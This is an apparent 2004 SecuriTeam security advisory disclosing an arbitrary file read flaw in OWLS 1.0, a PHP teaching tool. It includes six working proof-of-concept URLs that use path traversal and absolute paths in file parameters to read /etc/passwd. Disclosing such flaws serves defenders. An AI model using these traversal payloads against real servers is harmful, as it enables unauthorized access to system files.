[UNIX] OWLS Remote Arbitrary Files Disclosure

From: SecuriTeam (support_at_securiteam.com)
Date: 02/18/04

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Date: 18 Feb 2004 16:28:25 +0200

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      OWLS Remote Arbitrary Files Disclosure
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.foolsworkshop.com/owls/> OWLS is a web-based environment for
    instructors of language to easily create exercises, readings, glossaries,
    and present media for their students. Once installed on a web server that
    supports PHP, instructors can create materials or upload media for
    presentation to their students through a simple form based interface". A
    vulnerability in the product allows remote attackers to disclosure files
    that would be otherwise inaccessible.

    DETAILS

    Vulnerable Systems:
     * OWLS version 1.0

    There is a vulnerability in the current version of OWLS that allows an
    attacker to retrieve arbitrary files from the web server with its
    privileges.

    Exploit:
    Any of the following URLs can be used to test your system for the
    mentioned vulnerability:
    http://address/owls/glossaries/index.php?file=/etc/passwd
    http://address/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print
    http://address/owls/readings/index.php?filename=/etc/passwd
    http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passwd
    http://address/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd
    http://address/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:g00db0y@zone-h.org> G00db0y
    from Zone-h Security Labs.

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